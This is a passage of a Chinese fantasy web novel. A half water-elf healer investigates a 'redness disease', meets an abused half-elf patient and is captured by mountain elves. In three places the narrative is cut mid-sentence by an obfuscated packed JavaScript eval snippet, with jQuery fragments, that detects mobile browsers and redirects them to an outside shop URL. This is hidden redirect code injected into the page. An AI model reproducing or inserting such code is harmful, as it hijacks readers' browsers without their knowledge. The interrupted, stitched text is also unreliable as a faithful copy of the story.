费舍是多么老辣深沉的一个人,只有像跳出了注定的结局,躲过了近在咫尺的灾难,才能让他如此直白地表露出欣喜——对于费舍得了红晕症又被治愈一事,现场不少人已经信了几分。
晚宴的社交已经不再是重点,狂热的目光现在全往那名打扮带有几分怪异、名字唤作“粼恩”的医师身上聚集,仿佛她是一块无比罕见的珍贵宝石。
在某种程度上,这个比喻并不过分,假使她真能治愈红晕症,那么她要如何珍贵的宝石都不为过,他们自然也不会亏待她。
所以,她真的能治愈红晕症吗?
“在下深知各位为何而来,红晕症怪异,在下当然不会拿它来当作买卖的噱头。”作为一个常年在商业战场上厮杀的人,雄辩的话语,引人注意的巧言一向是费舍最擅长最拿手的东西。
他侃侃而谈,先是描绘了一番确诊红晕症时他有多么的痛苦无措,再讲述一些症状让在场的人确信他的确患上过红晕症,继而峰回路转,略过求医与治疗的过程,只讲他有多么幸运遇到了粼恩这样一位技术高超的医师。
他说得天花乱坠,仿佛这位医师妙手一点,他就从死亡的边缘拉回到了世间。
不过费舍此人虽然狡诈,但对于真正有用于他的人并不吝啬,更何况这位粼恩医师没有要求高昂的报酬,只是希望有机会再治疗一些人。
这个要求听起来实在普通,对他来说也无难处。他干脆大办一场宴会,既向公众透露自己康复的消息,也能吸引足够多的权贵,让这位医师一次性治个够,可谓是一箭双雕。
然而这位沉默寡言的医师也实在古怪,她要求费舍将一旁的小茶室借给她,让有需要的人依次进入房间讲述症状,她再以此来决定先去哪家看诊。
费舍不解,但他觉得无伤大雅,有着独门技术的人往往有些怪癖,而且她一次只见一人,其余人只能在宴会厅待着,他可以借此机会结交,怎么不算一件好事呢?
.
“怎么样怎么样?”克劳斯刚从茶室里出来,路易莎便急切地走上前来,“她有没有答应你?”
克劳斯神情严肃,周围的人太多,他并没有向路易莎透露些什么,旁人也无法从这个向来没什么笑意的费尔西斯先生的脸上看到什么有用的信息。
“不好判断。”直到两人走至餐台前,克劳斯借着饮酒的动作才对她吐露一句。
他沉下眉毛,凝神不语。方才,他与那位粼恩医师的交谈十分简洁,只交流了患者的种族、年龄、病发时间与最近状态后,她便请他出去了。仅从这一点来看,她确实是一个关注患者的医师,她不在乎坐在她对面的人的身份,也没有问对方愿意出多少诊金,她甚至不怎么和他对视,他只能趁着在她扭头思考时一瞥她碧绿色的眼睛。
她似乎不注重名利,一心只为患者着想,但克劳斯认为不计较报酬反而不是一件简单的好事。免费的才是最贵的。他不相信治愈红晕症不需要付出代价也不需要酬劳,如果她不需要金钱或者名利,那么他们需要付出的必然是更重要的东西。
思索间,小弗朗索瓦也从茶室里出来了,她神情紧张,面色惶惶,显然也不确定医师的态度。站在周围观察的人们见了,脸上也不由得流露出几分讶异。
粼恩医师谈话的速度很快,费舍还在沉浸在久违的社交中,她就已经决定好了看诊名单,众人紧盯着她,她却对费舍低语了几句转身离开了。
这算什么?
营造紧张的氛围吗?
克劳斯皱了皱眉,目送那道浅绿色的身影消失在转角尽头,他没有看向费舍,而是对路易莎耳语道:“恐怕我还得去南境一趟。”
南境?
路易莎疑惑地看向他,南境还有什么名医吗?她皱起眉头思考一番,脑海里突然有一个几乎不可能的念头浮现出来。
路易莎诧异,低声警告道:“别告诉我你要去往那片密林!”
“我没有别的选择,”克劳斯将目光放回费舍身上,当费舍宣布医师将去往小弗朗索瓦府邸时,他已有了即刻离开之意,“中心城已派人前往,南境的密林情况复杂,我必须亲自去一趟。”
.
她居然选择了我……
直到坐上了马车带着粼恩前往自己的府邸,小弗朗索瓦仍是一副不敢置信的样子。
双驾马车里只坐着她们两个人,粼恩正坐在她的斜对面,将头倚靠在车壁上。夜色已深,隔着一片厚厚的玻璃,小弗朗索瓦发现马车外已是雾蒙蒙的一片,什么也看不清楚。
然而尽管如此,那位医师的目光一直落在马车之外,哪怕小弗朗索瓦撑不住浅睡了一会儿,醒来后她仍是保持着看向窗外的姿态,仿佛一整夜都没有休息过。
真是奇怪。
小弗朗索瓦不由得想,从绿云庄园到现在,她一直表现出与常人不同的沉默,不过她愿意来治疗一个“半人”已是十分难得。因此小弗朗索瓦不敢轻易开口,以免哪里触怒了粼恩,如果她反悔不肯治疗,她真不知道该去哪里寻找愿意为“半人”治病的医师了。
“半人”,这其实是对混血儿带有一点儿轻蔑的称呼。
这片大陆上种族众多,属人类、精灵、矮人这三支数量最多,旅者、龙、次生生命,还有许多未知生物也在这片大陆上生存。族群的种类与数量都不少,混血儿自然也会诞生。在其它人类王国中,虽然偶尔也会有混血生物居住,但只有维洛兰,西南部与山地精灵领地相接,东境又与矮人往来颇深,混血儿格外多,甚至因此产生了几个混血儿的聚居地。
除了人类与其它生物的混血,还有别的种族之间的混血儿,但人们哪有心思分辨这些外来者呢?尽管他们承担了王国一部分的劳苦工作,人们仍不愿以平等的目光相待,更不用提这次红晕症正是从“半人”之间兴起的,这使得“半人”本就不高的社会地位,越发艰难起来。
抵达小弗朗索瓦的住所时已是次日清晨,薄雾被微风与晨光驱散,一座可爱的乡间府邸出现在道路的尽头。
不过,小弗朗索瓦的家族在南境的地位数一数二,这样一座小巧的房子虽然模样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098383|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
精致可爱,却不太像是一个家族会居住的地方。
“家里人不太喜欢半人,所以我将他安置到了这里。”怕粼恩误会,小弗朗索瓦急忙解释,接着又问她需不需要休息或者进餐。
粼恩拒绝了:“直接带我到病人那里吧。”
她的声音清亮,听起来年纪很轻,难免让人心生疑惑,不知道这样一个年轻人是如何拥有能够治愈红晕症的医术的。
但小弗朗索瓦救人心切,粼恩这句话正合她意,她没理会管家的问候,带着粼恩径直穿过几道门廊来到一扇木门前。直到这里,她的动作才变得犹豫,小弗朗索瓦回头看了粼恩一眼,才敲了敲门,生怕惊扰了屋内人似的低声问道:“托托,托托,你醒了吗?”
没有人回答。
“托托,”小弗朗索瓦又敲了敲门,沉默片刻后,她不怕被传染似的直接扭开了门把手,“我,我进来了。”
进入视线的是一个明亮宽敞的房间,装潢精美,家具舒适,显然用了心思。房间中间有一张柔软的大床,上面躺着一个半人青年,他有着夕阳余晖一般美丽的长发。尽管红斑已经漫延上他的脸颊与颈侧,但仍掩盖不住他姣好的面容,他的憔悴反倒让瞧见的人生出几分微妙的心思。
“托托……”小弗朗索瓦见了也不由得一顿,见青年的头侧了过来,她急忙道,“我带了医师来给你治病。你不要怕,你会好的,等你好了,我们就——”
她突然停住了,看向粼恩把话题错开:“粼恩医师,这位就是病人,他叫托托。托托,这位就是为你治病的粼恩医师。”
闻言,托托落在虚空中的目光终于落到了她们的身上,小弗朗索瓦非常激动,她一会儿问粼恩是否还需要什么准备,一会儿又想留下来陪托托看诊。
“不必。”
一个冷淡的声音响起,是托托开口了,他对小弗朗索瓦道:“医师留下来治病就好了。”
小弗朗索瓦虽然焦急,但也只好离去,阳光充盈的房间里一瞬间又安静了下来。
粼恩站在床边与托托四目相对,当她伸出手正要接触托托的手臂时,他突然道:“你也是吗?”
这句话问得没头没尾,粼恩却停了下来,片刻后,她还想继续动作,托托却主动握住了粼恩戴着皮手套的手:“我们是一样的。”
这句话是什么意思?
她应该这样问他,为什么要对她说这样的话?但当她看向托托已无多少神采的双眼,遮掩的话又在嘴边停住了。
粼恩轻轻叹了一口气,承认道:“是,我们一样。”她将鬓边蓬松凌乱的卷发压住,露出了一只与人类完全不同的尖耳朵。
“我们一样。”托托轻笑了一声,但脸上并无多少笑意,“他们知道吗?”粼恩摇了摇头,托托这才露出一丝笑意。
粼恩看不懂他的意思,只以为他只是不信任人类的医师。现在既然已经明确身份,而且看他没有要暴露自己身份的意思,因此她没再多说什么,准备开始治疗。
但托托还是阻止了她,粼恩皱起眉头,她看向这个奇怪的混血儿,他们都是人类与精灵的混血,此刻她却不明白这个真正意义上的同族到底在想些什么。
“你没感受到吗?你应该也感受到了吧,”托托将手按在胸口,“你既然可以治愈红晕症,那么更应该能感应到来自我们身体里另一种血脉的提示。这不是普通的病症,它不像风寒、发热,它很、很奇怪……”
“是很奇怪,但我能治好它,”粼恩打断了托托的话,“你是什么时候有这个症状的?小弗朗索瓦说是几月前,但我现在要向你确认。还是说——”
她回想了一下托托的态度,不解道:“你不想治好它,为什么?”
35. 第 3 章
“因为治好了红晕症,还要承受比其更深的痛苦啊。”托托叹了一口气,轻得一呼出来就散了。
他扭头看向窗外,这间房间的视野很好,不用走到窗边,躺在床上就能见到屋外的光景。
那儿有一个小小的花园,繁密的枝叶攀满一整面矮墙,初夏的阳光明媚,催促着花枝爆出一朵朵拳头大小的粉色花朵,引得蜜蜂蝴蝶上下飞舞。
翻过篱笆,越过花园,顺着长满蓝玲花的山坡往更远处看,目光所及皆是一片绿意盎然,树林并不静谧,有许多麻雀与画眉鸟在桑树枝头跳跃,啄食着初生的果实。
“‘托托’,这甚至不是什么正经的名字,这是一个昵称,而我是一个宠物,自从住进这座府邸,我就没有自由自在地感受过阳光了。”托托将衣袖慢慢卷起,露出手臂,粼恩发现在这长有红斑的皮肤上还有一些浅色的痕迹。
她看得出这不是什么偶尔碰撞留下的痕迹,更像是经年累月的揉捏与吮咬,淡了又添,以至于已经留下了烙印,永久地长在皮肤之上了。
他没再作多解释,但她也明白他的心情。
可她沉默了一会儿,仍是开口:“你不想治病,我尊重你的选择。可你是否愿意告诉我,你是如何发现自己得了红晕症的?”
这并不是一个令人为难的问题,托托如实讲述,而他长久沉寂的心也因为这个意外到来的同族生出几分波澜。
末了,他忍不住问她:“所以,你为什么能治愈红晕症呢?又为什么这么执着于它?”
“这能否算得上‘治愈’我也不确定,他们只是不再呕吐和难受,也不会因此死去,毕竟我算不上什么正经的医师。我不过是恰好发现了一种植物,”粼恩抿唇,“实际上我没有什么远大的志向,也没有那么好心想要治好全部人的红晕症。我只想找到这个源头,就像你说的那样,来自我们身体里另一股血脉的提示,红晕症并不简单,而我也感应到了,尽管很模糊。”
“我们‘半人’,所谓的‘半人’,人类、精灵、矮人、旅者、次生物种的混合物,已经遭受了许多不公正的对待,为什么红晕症还会率先在我们身上爆发?我只想知道这是注定的命运,还是阴谋?”她垂下眼睫,外表看上去还算冷静,不甘与愤怒却从语气里冒了出来。
托托静静地看着她,这个人类与精灵的混血儿年纪还很轻,语气虽然冷淡,但遇到一个可怜的同族便不忍心,还冒冒失失地将心里话都说了出来,也不担心她的身份与目的被告发。
托托又叹了一口气,他对自己的将来丧失了希望,却也不想这个年轻同族太早地失去信心,他犹豫了片刻,最终还是开口道:“如果你想探寻红晕症的源头,与其寻找最先得病的人,不如往南境的密林深处去。那里居住着一支山地精灵,他们虽然也对人类血脉厌恶,但至少会看在你的精灵血脉上告诉你一些有用的信息。精灵天生亲近自然,所以他们才会有自己的伴生物,这也是你我也能感知到红晕症有不同之处的原因。”
“真的吗?那我需要准备些什么?”粼恩不由得问道。
她不怀疑他,也没有丝毫的犹豫,托托看出她的年龄确实很小,生活的圈子也相对狭窄,如果不是红晕症,她不一定会离开她的聚居地来到南境,最开始表现出的沉默寡言也许只是她的应对方式。
托托一边想一边摇了摇头,他难得笑了一下:“他们生性直率,你不如直接告诉他们你的目的。不过前往密林,千万不要走蓝石大道,我听闻最近有窃贼在此游荡,你可以走横河小路,那里虽然水泽繁多,但距离他们的聚居地更近。”
“这样吗?真的太好了,”粼恩碧绿色的眼睛一亮,似乎马上就要动身,她顿了一顿,对托托道,“可是你要怎么办呢?你真的不想治病吗?我看弗朗索瓦小姐好像——”
“不必了,”未等她说完,托托便打断了她的话,“我会与她解释的,你不用担心。”
“我不是担心被她责怪,”粼恩皱起眉头解释道,“不过,好吧。那么你可以告诉我你真正的名字是什么吗?”
托托呆愣了一瞬,而后长久地看着她,他的声音颤抖:“我、我叫西莱奥。”
.
离开房间的时候,小弗朗索瓦的神情十分激动,她的一旁站着忧心忡忡的管家——显然,她一直守在门前,期待着粼恩的好消息。
对混血儿如此上心的人类,她是第一个。但是粼恩一想到西莱奥身上的痕迹,就觉得没什么好说的了。
粼恩站在门外与管家一同等候,很快,房间内争吵不停,其中大部分都是小弗朗素瓦歇斯底里的尖叫。
粼恩不懂小弗朗索瓦的心思,她既不尊重西莱奥,但又不惜重金请人来治愈他,实在矛盾。想不明白就不想了,她自顾自地摇摇头,开始盘算起要如何前往密林深处寻找山地精灵。
小弗朗索瓦这处府邸位置并不处于南境的繁华地带,而是靠近乡间,从这里到密林比从城里雇佣马车前往要近得多,也快得多。像西莱奥描述的那样,不走蓝石大道避开窃贼,取横河小路穿过水泽湖泊,她的精灵血脉可以帮助她比人类更快地适应自然,因此最多一日半,她就可以到达密林深处。
盘算好这一切,房间内的动静也平息下来。管家被小弗朗索瓦叫进房间吩咐了什么,出来后则很不情愿地给了粼恩一些赏钱和干粮。
这是西莱奥拜托她们做的吗?
粼恩很想和西莱奥郑重地道别,但她看了一眼管家的脸色与动作,只好遗憾地离开了。
穿过生机勃勃的山坡,走到樱桃树与桑树交错的树林间,粼恩不由得往回望,那座小房子仍旧可爱,但是那扇能看到树林的窗户,现在已经拉上了厚厚的绸布窗帘。
.
粼恩的脚程颇快,再加上她不计较休息的环境,不过次日清晨她就已经穿过了横河小路,走到一片巨大的湖前。
湖面广阔静谧,四周没有可以横渡的小舟,粼恩拾起一块石子丢到水中,听到“咚”的一声闷响。水很深,湖面蒙着浓浓的水雾,厚重得让人看不清湖对面。
横渡这片湖泊,这对寻常人来说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106940|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是个难关,对粼恩却不是什么难题。她将包袱和外套、鞋袜用鞣制过的皮革裹好,以防被湖水浸湿,然后她仅着一件薄衫,赤脚站在地上,缓缓地吐息。
湖边的水汽重,不常在水泽边生活的人站在这里会有一种口鼻被湿透的布裹住的错觉,就连精神也会变得疲倦。但粼恩十分适应,她的脚正毫无阻拦地接触着湿润的泥土和细碎的草屑,丰盈的水汽充盈在她的鼻腔中。
她轻轻吸气,呼气,畅意流转全身,一路奔走而疲惫的精神也逐渐振奋。她提着行囊向前走,毫无顾忌地迈入水中,湖水从脚腕到小腿再到胸前,粼恩无声无息地潜入湖水,湖面上只有不断荡漾的水波。
当她再次钻出水面时,她已经游到了湖中心。阳光驱散了水雾,粼恩一抹额头前湿哒哒的橘色头发,将整张脸都暴露在空气之中。如果此时身旁有人在,他们就会发现粼恩脸颊靠近耳后的位置有一道浅浅的裂缝,这道裂缝平时颜色浅淡,再加上有头发遮挡,并不引入注目;但在沾了水后,它开始自觉地翕动,边缘也显现出一点蓝绿色的荧光。
真舒服啊,粼恩缓缓吐出一口气,她平躺在水面上,摆动着双腿,水波轻柔,她不由得抖动起了耳朵。
.
取水路前往密林深处确实很方便,渡过了水雾重重的大湖,粼恩来到了与之相连的小河中。
顺着小河的源头往前望,郁郁葱葱的树林间偶尔露出几座石雕,显然,她已经来到了山地精灵的地界。
就快要到了!
尽管肚子有些饿了,但目的就在眼前,粼恩一鼓作气逆着河水往上游。只是逆流而上确实让人疲惫,她不仅要奋力向前游还要拖着一个行囊,没过多久体力就被耗尽了。
她从水面浮出,望着逐渐从山林间隐隐约约显露出的精灵建筑,还是决定先上岸啃几口干粮。
将行囊抛到岸边,粼恩撑着身子往石头上一坐,气还没有喘匀呢,背上莫名闪过一阵寒颤,一个冷冰冰的声音突然从斜后方传来:“不许动!”
粼恩僵住了。
那个冷冰冰的声音继续用通用语命令她:“把双手背至身后,慢慢转过来。”
粼恩听不太明白,然而很快她就感觉到颈侧贴上一个更冰更凉的东西,那是什么?
是箭?是刀?他到底是谁?是巡逻的精灵?还是转了行变强盗的窃贼?
她的脑海里有无数个念头一闪而过,但性命被威胁着,她再不情愿也得转过身。
“头抬起来!”那个冰冷冷的物体滑到她的下巴,对准了她的脖子。
粼恩猜测着话里的含义,下巴却被箭矢挑了起来。
随着头被迫抬高,她的目光也从下向上抬,从那人精瘦有力的双腿到腰间两把长刃,再到扣在弦上的手指,最后是一个面若冰霜的男性的脸庞。
尖耳朵,应该是巡逻的精灵。还好不是什么强盗,粼恩悄悄地松了一口气,结果气还没喘了一半又见那个精灵将箭矢对准了她的一只眼睛:“你是谁?精灵?不,半精灵,你来这里做什么?”
36. 第 4 章
好凶!
粼恩下意识要逃,但是对着那支寒光四射的箭矢,她无可奈何。通用语听着就很勉强,更不用提使用通用语交流了,粼恩无法,只好用维洛兰语含含糊糊地回答:“我,我想向你们确定一些东西。”
“确认什么东西?”
那名男性精灵倒也听得懂维洛兰语,他紧皱着眉头,表情严肃,一点儿也没有西莱奥所说的应该对精灵血脉的宽和。
【发生了何事?】
僵持间,一个冷冽的声音由远及近传来,那人的动作极轻,若不是问话声和落地时的轻响,粼恩几乎不能觉察到她的靠近。
通过投下的阴影,粼恩能感觉到来者身量极高,她微微一偏头,忍不住瞄了一眼,只见一个高挑的女性精灵,身穿软甲,正居高临下地盯着她。粼恩乖乖地收回目光,即使她听不懂精灵语,但根据装扮和两人的气场,她也能猜测得出这名女性精灵应当是男性精灵的长官。
在她暗自思忖的同时,那名女性精灵也在打量她。
与他们尖且翘的耳朵不同,眼前这人的耳朵虽保留了精灵血脉的特征,但是显得更加短圆,她浑身湿漉漉的,两侧脸颊还各有一道浅浅的裂痕,她是——
【这是水泽精灵与人类的混血儿。】
粼恩听不懂她的话,男性精灵却因此惊诧了一瞬,他下意识地反问:【水泽精灵的混血儿?怎么会到这里?】
继而他绷紧了弓弦警告粼恩:“借由水路擅闯其他精灵的领地,这可不是一个精灵该有的品格。”又向女性精灵询问:【长官,要将她关进树牢里吗?】
【不,】片刻考量后,那名女性精灵发话了,【树牢对精灵血脉起不了多少惩戒作用,更何况她还是一个水泽精灵的混血。此事特殊,你继续巡逻,我将她带回去见塞缪尔大人。】
两个精灵决策果断,粼恩仅听见几句对话便被那名女性精灵将她的双腕反手捆绑。
她还没反应过来,女性精灵就一手提着她的行囊,一手拎着她的腰带跃至半空中。
精灵的行动速度很快,丰茂的枝叶与粗壮的藤蔓从粼恩眼前飞速掠过,偶尔夹杂几线落下的阳光,晃得她头晕眼花,不过好在胃囊空空,不会导致她在树丛中倾泄喷洒呕吐物。
直到面上一阵清风吹过,缓解了突然袭来的眩晕感,粼恩挣扎着抬起头,几座有着长长尖锥的高塔率先映入眼帘,接着是数道栈桥,如灵巧的丝线将高塔相连。再向前进,遮挡在眼前的树木往两边退开,视野骤然开阔,山涧于一侧从天而降,晶莹的水花中一座弧形宫殿出现在眼前。
此前,粼恩一直生活在西境的混血儿聚居地,那里的建筑风格虽然繁杂,实际上与人类住所没有多大区别。初次见到精灵的房屋,粼恩的心中唯有惊叹,连被抓时的忐忑迷茫都消退了几分。
女性精灵提着她加速前进,于宫殿前停下。她与门前的侍卫叽里咕噜地对话,粼恩则趁着这个机会偷偷打量。
“老实点!”那名女性精灵突然用维洛兰语呵斥道,粼恩的目光一顿,下一瞬身体被提着抖了两下。
宫殿的大门在眼前打开,女性精灵提着老实了不少的闯入者,目标明确地朝宫殿中间半圆的露天平台赶去。
粼恩垂着头,余光瞄到不少精灵从身侧经过。由于刚刚才被警告过,她不敢大胆地仰头观察,只能瞧见他们长及脚踝的、不知用什么布料制成的衣裙随着轻盈的脚步,如水一般波动。
真稀奇。
然而这种观光似的机会稍瞬即逝,很快她们就来到了平台之上。
【塞缪尔大人,】粼恩和行囊被毫不留情地丢到地上,那名女性精灵正恭敬地汇报着,【今天清晨巡逻时,我们在兰溪旁发现一名精灵与人类的混血。我们本以为是硬闯密林的混血儿,但是您看——】
女性精灵半蹲下来,拨开粼恩湿漉漉的额发,露出了她略显圆钝的尖耳朵和脸侧那道浅浅的缝隙,严肃道:【水泽精灵已有数年未在这片地区出现了,上一次关于水泽精灵的消息则是由北方的山地精灵带来的。如今突然出现,尽管只是一个混血儿,恐怕有什么异常。】
粼恩被她按在地上,背在身后的手臂传来阵阵酸意,她忍不住扭动了一下,却与站在前方注视着她的男子对上了视线。
刚才在溪边抓住她的男精灵和将她带来并正按着她的女精灵都有着极其美丽的容貌,先不谈出众的五官与匀称的四肢,单是那如霞光般耀眼,如绸缎般顺滑的长发已十分令人着迷。
而眼前这个男人,他的脸上虽然没有皱纹,却总给人感觉年纪比刚刚那两个精灵要大上不少。他的容貌并无瑕疵,但在以美貌著称的精灵中只能算得上平庸,可奇怪的是,当他站在这里,他周身的气质,那双沉静的眼睛,总能吸引旁人的目光,仿佛没有什么能够遮蔽他的存在。
塞缪尔俯下身,静静地凝视了一会儿粼恩,她那一张冷淡的脸因沾了水而显得鲜活,很明显的水泽精灵的特征,更不用提脸颊处两道浅淡的缝隙。塞缪尔抬手打断了下属用精灵语的汇报,用维洛兰语对粼恩问道:“水泽精灵的后裔,你从维洛兰的水泽潜入密林有何目的?”
目的?目的是查清楚红晕症。
红晕症与山地精灵有关系吗?应该没有,如果红晕症是精灵创造出的病症,他们最先应该传染撕毁了条约的人类,而非地位低下的“半人”。但精灵寿命长,又善药理,想来对各种疑难杂症很是了解。探寻红晕症的构成,再以此推断源头,这大概就是西莱奥让她寻求精灵帮助的原因。
可是她应该怎么表达?西莱奥说他们对精灵血脉友好,现实却好像不太一样。如实说了他们会做些什么?不肯帮助她把她丢出去还好,要是把她关起来就完蛋了。那么就随便编个理由蒙混过关?粼恩年纪尚浅,却也有自知之明,她不信自己胡扯的谎话能蒙骗到眼前这个不知活了多久的精灵。
她的头脑转得飞快,肚子里却滚出一道响亮的肠鸣。
塞缪尔看着眼前这个小混血精灵原本冷淡的脸露出些许尴尬的颜色,不由得挑了挑眉。
他摆摆手,示意下属松开对她的钳制,语调柔和了一点儿:“是不是太饿了?在人类世界找不到吃的,所以跑到精灵地界里来了?”
粼恩愣了一下,慢慢从地上爬起来,心中犹疑不定,最后还是顺着他的话应下来了:“对,我肚子很饿。”
这句话倒是事实,可女精灵显然不信,她上前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115698|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一步,试图劝阻,塞缪尔却对她道:“你做的很好。不过接下来的事情还是交给塔兰来做吧。”
似乎随着那一声肠鸣,塞缪尔对她的态度微妙地转变起来。他不再审问,让塔兰带她吃点东西再四处逛逛。
塔兰是一个年龄较长的女性精灵,气质温和,眼神明亮。对于粼恩这样一个外来的小混血儿,她没有露出警惕的神情,而是笑吟吟地提着粼恩的行囊带她离开了宫殿。
她们穿过一道栈桥来到一座高塔中,高塔不是完全密闭的建筑,上面有许多巨大的拱窗,因此阳光可以自由地照亮高塔的每一处。塔兰为她端来许多食物,不必说浅棕色的蜂蜜蛋糕、浓稠的羹汤与新鲜的蔬果,仅是烤得汁水四溢的鹿腿肉和馥郁的果酒,粼恩也都没有尝过。
她的目光在巨大的木盘上流连,既没想好先吃什么,又担忧他们会不会是借此迷惑她。但她实在是太饿了,脑海里闪过一连串阴谋诡计,手却忍不住朝木盘上的食物伸了过去。
.
【塞缪尔大人,左石门有一名人类拜访,自称是北境境主的亲侄。】
让卫官继续回兰溪巡逻后,蓝石大道通往密林的卫兵又前来汇报。
【怎么?今日访客这么多。】塞缪尔望着飞涌的山涧,语气冷淡,【他有何要事,又如何证明他的身份?】
【属下验核过,他虽然形容狼狈,但信物却是真的,您看——】卫兵双手将信物奉上,塞缪尔轻轻一瞥,只见一个雕刻着鹿首的银徽,在阳光下流淌着水银一般的光芒,【不过,他前来所为何事却没有明说,只道自己绝无恶意。大人,此事是否需要……】
【哼,费尔西斯。】塞缪尔哼笑了一声,思忖片刻,命卫兵将人放进来,【此事还不至于烦扰领主,将他带至此处。】
.
真是狼狈。
见卫兵返回,克劳斯敛起倦意,与卫兵一同进入山地精灵的领地。
离开绿云山庄后,克劳斯没有选择返回北境,而是借着费尔西斯家族在西境的产业找来了几名熟悉南境的能手,又去往蓝石大道之前在当地找到一位据说十分有名的向导。
怎料南境与密林交界之地形势混乱,那名向导居然是窃贼所扮,在无月之夜将大部分钱财顺走逃之夭夭。祸不单行,初夏夜晚并非皆是美好,“旅者”蠢蠢欲动,四处游荡。
在离开蓝石大道后,克劳斯一行人竟然与一群“旅者”直面撞上,损失了两人的同时,幸存下来的帮手只愿意将他带至精灵领地,许诺再多的钱财他们也不肯往里深入。
——“山地精灵性情古怪,对人类仇视又重,我们将您带到这里已是仁至义尽了。偶遇‘旅者’,又被‘银手’偷走财物,我们也不向您收取余款了,只想平安回去。”
这其实违背了克劳斯一贯的契约精神,但此行确实特殊,克劳斯不愿也没有心思与他们计较,只身前往。
幸好返回的精灵卫兵带来了允许进入的消息,克劳斯舒了一口气,放松了片刻的精神在见到与他会面的精灵时,又严肃认真了起来。
“费尔西斯先生。”男性精灵对他微一颔首。
克劳斯也将礼貌脱下以示尊重:“塞缪尔大人,别来无恙。”
37. 第 5 章
狼吞虎咽地饱餐一顿,粼恩意犹未尽地收回了手,余光瞥见塔兰笑眯眯地看着她,又若无其事地整理了一下木盘和着装。
做完了这些,她才静静地望向塔兰,等待她下一步的指示。
“那么,我们先将你的行囊放到你的房间,再带你四处逛逛如何?”塔兰提议。虽不知他们态度转变的缘故,但能留在这里已是意外之喜,粼恩自然不会拒绝。
两人离开高塔,往高塔后的巨树走去。
刚刚远眺时,巨树前有高塔挡着,再加上被人提着在树丛间跳跃,粼恩看得并不仔细,直到现在走近了才发现,这几颗巨树上搭建了许多小屋子,还有许多树洞,粗壮蜿蜒的藤蔓则为这些精灵们提供了行走的、攀爬的道路。
巨树也与其他树木不大相同,整体的枝干是红铜色的,叶子的边缘却勾勒着蓝银色的光泽。树皮光滑,编织在一起的藤蔓也是滑溜溜的,粼恩收回四处观望的目光,跟在塔兰的身后手脚并用艰难地往上爬。
塔兰倒是走得优雅,她来到一个小巧的树洞前,挑开用鼠尾草、亚麻与莨苕叶编织而成的门帘,一间舒适的卧房展现在眼前。
这里有着似乎与巨树生长在一起的桌椅橱柜,柔软的用羽毛织成的枕头,以及和精灵们身上相似的布料做成的被子,粼恩好奇地伸手摸摸,塔兰则适时地开口:“你要不要换一身衣服?床上这套衣服是干净的,你可以穿上。”
闻言,粼恩抬手动了动,半干的衣服黏在皮肤上,确实有点难受。
她点点头,待塔兰离开后,她解开自己的行囊。外面那层防水布皱巴巴的饱经风霜,但里面的包袱却完好无损,粼恩取出自己的衣服鞋子,飞快地换上了。
粼恩的生活条件一般,衣服质量自然也比不上精灵的衣物,她摸了摸磨损的袖口,却也没想过换床上那一套柔软的衣服。
在精灵的地界,粼恩不需要在容貌上做过多的修饰来伪装自己,简单地收拾一番后,她跟随着塔兰在四周逛了起来。
如果说巨树是给精灵们休息娱乐的生活场所,那么高塔则是承担了学习教育功能的地方。与人类想象中的不同,山地精灵重口欲,好喜乐,无论是高塔、巨树还是弧线宫殿,都建造了厨房。听塔兰介绍,他们有一整个藏书阁的食谱与烹饪秘籍,至于年轻精灵们停留时间最久的高塔,那里厨房出品的食物甚至是全领地里味道最好的。
从巨树穿过高塔,粼恩瞧见树顶与塔尖有藤蔓相连交织,垂下一个又一个天然的树笼,塔兰解释那是用来关押囚徒的地方。
“囚徒?”
“对,囚徒,”塔兰的笑吟吟地看了粼恩一眼,“旅者、突袭者、贼,我们会让他们待在这片山林他们该待的地方。”
粼恩顿了一顿,脸上仍是没有什么表情。她正准备开口转移话题,却听见远处有欢声笑语传来。
两人朝声源处看去,只见一群身着劲装的精灵,扛着什么生物朝高塔走来。粼恩定睛一看,那竟是几个“旅者”!
和人类、精灵、矮人这种单一的生物物种不同,“旅者”并非具体一个种族,而是“概念”本身。幽灵、被放逐者、四处游荡的未知生物,它们就像被诅咒了一般,在这片大陆上居无定所,并且——
“通常都有极强的攻击性,”望着这群欢庆的精灵,塔兰的脸上浮现出一股自豪,这种感情是如此强烈,以至于将她表面上的温和都冲淡了,露出底下的坚毅来,“但是,我们并不畏惧。”
粼恩听不懂那群精灵在嚷嚷些什么,但其中的兴奋却能跨越语言的障碍感染到她。
“领主大人与几位学者发现一部分的‘旅者’有药用的效果,因此年轻人们从此多了一项户外训练——驱逐无用的‘旅者’,猎杀有价值的‘旅者’。”
“‘旅者’居然还能药用?”粼恩疑惑地望向塔兰。
